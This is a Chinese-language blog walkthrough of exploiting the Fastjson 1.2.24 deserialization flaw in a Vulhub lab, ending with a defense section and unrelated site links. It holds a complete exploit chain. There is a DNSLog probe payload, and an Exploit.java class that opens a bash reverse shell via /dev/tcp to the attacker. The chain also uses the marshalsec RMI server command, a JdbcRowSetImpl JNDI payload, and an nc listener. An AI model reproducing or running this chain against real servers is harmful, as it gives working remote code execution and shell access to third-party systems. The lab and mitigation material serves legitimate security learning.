当前位置: 首页 > news >正文

实战记录:从零到反弹shell的fastjson反序列化漏洞利用全过程(附POC)

深度剖析Fastjson反序列化漏洞的实战利用与防御策略

在当今企业级Java应用开发中,JSON处理库Fastjson因其高性能和易用性广受欢迎。然而,正是这样一个被阿里巴巴开源并广泛应用于各大互联网企业的组件,却因其反序列化机制多次成为安全领域的焦点。本文将从一个渗透测试工程师的视角,完整还原Fastjson反序列化漏洞的发现、验证到最终利用的全过程,同时深入探讨其背后的技术原理和防御方案。

1. 漏洞环境搭建与初步探测

在开始漏洞利用之前,我们需要搭建一个完整的测试环境。推荐使用Vulhub这一开箱即用的漏洞靶场集合,它已经为我们预置了包含Fastjson漏洞的环境配置。

# 下载并启动Vulhub中的Fastjson漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/fastjson/1.2.24-rce docker-compose up -d

启动后,目标服务将运行在8090端口。我们可以使用Nmap进行基础端口扫描确认服务状态:

nmap -sV -p 8090 目标IP

常见扫描结果特征

  • 开放端口:8090/tcp
  • 服务标识:通常显示为HTTP服务
  • 响应头中可能包含Server: Jetty或类似Java应用服务器标识

注意:在实际测试中,建议先获取书面授权,即使是在内网环境中也应遵守企业安全测试规范。

2. 漏洞验证与DNSLog技术应用

确认目标运行Fastjson服务后,我们需要验证是否存在反序列化漏洞。这里我们采用DNSLog技术进行无侵入式验证,这是一种非常有效的漏洞验证方法,尤其适合在不敢确定漏洞存在时使用。

DNSLog验证步骤详解

  1. 访问公开的DNSLog平台(如ceye.io)获取专属子域名
  2. 构造特殊的JSON payload触发目标进行DNS查询
  3. 检查DNSLog平台是否收到查询记录

以下是具体的Burp Suite抓包修改示例:

POST / HTTP/1.1 Host: 目标IP:8090 Content-Type: application/json { "test":{ "@type":"java.net.Inet4Address", "val":"your-subdomain.dnslog.cn" } }

关键点分析

  • @type参数指定了要实例化的Java类
  • java.net.Inet4Address是Java标准库中的IP地址处理类
  • 当Fastjson尝试反序列化这个JSON时,会实例化指定类并设置属性值

如果DNSLog平台收到查询记录,则基本可以确认存在反序列化漏洞。这种验证方式的优势在于:

  • 不会对目标系统造成实质影响
  • 不受网络出站限制影响(大多数服务器都允许DNS查询)
  • 隐蔽性强,不易被安全设备发现

3. 漏洞利用链构建与RMI服务器搭建

确认漏洞存在后,我们需要构建完整的利用链来实现远程代码执行。这里我们采用JNDI注入结合RMI协议的方式,这是Fastjson反序列化漏洞最经典的利用方式之一。

完整利用流程

  1. 准备恶意Java类文件
  2. 托管类文件到Web服务器
  3. 启动RMI服务器指向恶意类
  4. 构造特殊JSON触发漏洞

首先,我们需要编写一个包含恶意代码的Java类:

// Exploit.java import java.lang.Runtime; import java.lang.Process; public class Exploit { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击机IP/端口 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // 异常处理 } } }

使用JDK8编译该类(注意必须使用兼容版本):

javac Exploit.java

然后通过Python快速搭建HTTP服务托管该类文件:

python3 -m http.server 8000

接下来,我们需要使用marshalsec工具启动RMI服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机IP:8000/#Exploit" 9999

4. 最终攻击Payload构造与Shell获取

一切准备就绪后,我们需要构造最终的攻击Payload发送给目标服务器。这个Payload将触发Fastjson反序列化漏洞,导致服务器通过JNDI查找我们控制的RMI服务,最终加载并执行恶意类。

关键Payload结构

{ "恶意字段":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://攻击机IP:9999/Exploit", "autoCommit":true } }

技术原理剖析

  1. Fastjson解析JSON时遇到@type会尝试实例化指定类
  2. JdbcRowSetImpl是JDK内置类,可通过dataSourceName属性发起JNDI查询
  3. 设置autoCommit为true会触发connect()方法,进而执行JNDI查询
  4. 服务器连接我们控制的RMI服务,加载远程恶意类
  5. 静态代码块中的恶意代码被执行,实现反弹Shell

在攻击机上监听指定端口等待连接:

nc -lvnp 监听端口

成功获取Shell后,建议首先检查当前权限和环境信息:

whoami id uname -a pwd

5. 漏洞防御与缓解措施

了解攻击手段后,我们更需要知道如何防御此类漏洞。以下是针对Fastjson反序列化漏洞的多层防御方案:

技术层面防御

防御措施实施方法效果评估
升级Fastjson使用1.2.83及以上版本彻底修复已知反序列化漏洞
启用SafeModeParserConfig.getGlobalInstance().setSafeMode(true);完全禁用autotype功能
黑白名单控制配置autoTypeSupportdenyList需要精细维护规则
输入过滤检查JSON中的@type等关键字可能被绕过,作为辅助手段

架构层面建议

  • 网络隔离:限制应用服务器出站连接,特别是RMI、LDAP等协议
  • 权限控制:运行Fastjson的账户应遵循最小权限原则
  • 安全监控:部署RASP方案实时阻断攻击行为

临时缓解方案

  1. 在JVM启动参数中添加:
    -Dfastjson.parser.autoTypeAccept= -Dfastjson.parser.autoTypeSupport=false
  2. 使用WAF规则拦截特征明显的恶意请求
  3. 定期检查服务器异常出站连接

在实际项目中使用Fastjson时,建议评估是否真的需要反序列化功能。如果只是简单的JSON解析,可以考虑使用更安全的替代方案,如Jackson或Gson,这些库在设计上就更注重安全性。

http://www.jsqmd.com/news/534468/

相关文章:

  • 2026年源杰科技研报:CW激光器与硅光CPO的机遇
  • Qt流式布局二选一:QListView方案 vs 自定义FlowLayout,从‘标签云’到‘动态表单’的实战场景选择指南
  • RexUniNLU中文理解能力评测:多项任务性能对比
  • 4大技术突破!ClickHouse如何重塑实时数仓处理范式
  • OFA-Image-Caption助力AIGC内容创作:自动化生成图片社交媒体文案
  • M1芯片MacOS通过Homebrew一键安装wget的完整指南
  • 办公自动化实战:用Python+Word宏实现智能电子印章插入
  • ROG游戏本屏幕色彩异常终极解决方案:G-Helper完整指南
  • 2026年通信行业周报:OFC光通信与GTC多AGENT架构
  • 构建企业级知识库语义搜索引擎:NLP-StructBERT与MySQL协同实战
  • NMN产品推荐:26年度NMN抗衰老品牌哪家强?十大抗衰老品牌推荐+选购陷阱全汇总 - 资讯焦点
  • SR300深度相机Ubuntu集成方案:解决Python连接难题的技术实践
  • 语音增强领域新突破:UL-UNAS凭什么比传统U-Net快3倍?技术细节全解析
  • 安全强化学习避坑指南:PPO-Lagrangian实现中,拉格朗日乘子更新为什么用detach和clamp?
  • 深入解析GLU家族:从SigmoidGLU到SwiGLU的演进与应用
  • 告别Word和PDF!用Python的win32ui库直接驱动打印机,搞定标签打印(附完整代码)
  • 玩转OurBMC第十七期:CXL协议实战应用与BMC集成探秘
  • WinDbg 用户层调试进阶教程
  • 3分钟快速部署:如何用Docker Compose搭建企业级项目管理平台
  • 科哥Image-to-Video镜像体验:从部署到生成第一个视频的全过程记录
  • python 实现服务器监控,cpu,内存,磁盘空间,网络等
  • 2025年全球数字经济发展研究报告:各国格局与发展趋势
  • Buck电路设计原理与工程实现指南
  • 2026北京搬家公司实测推荐 7家品牌真实数据对比 - 新闻快传
  • ChatGLM3-6B-128K长文本推理教程:Ollama部署后政府政策文件智能解读案例
  • 2026无锡工业转轮除湿机选型指南:3个硬性指标 - 精选优质企业推荐榜
  • 2026抗皱护肤精准化:万本双抗焕亮精华水实测,改善暗黄与初老细纹 - 资讯焦点
  • 隧道刮腻子哪家好?从工地一线经验看懂隧道涂装的“成败关键” - 企师傅推荐官
  • ZEncoder:嵌入式电机控制中的正交编码器软件解码库
  • 信用卡逾期负债人的破局指南:2026年如何找到正规债务重组机构?​ - 代码非世界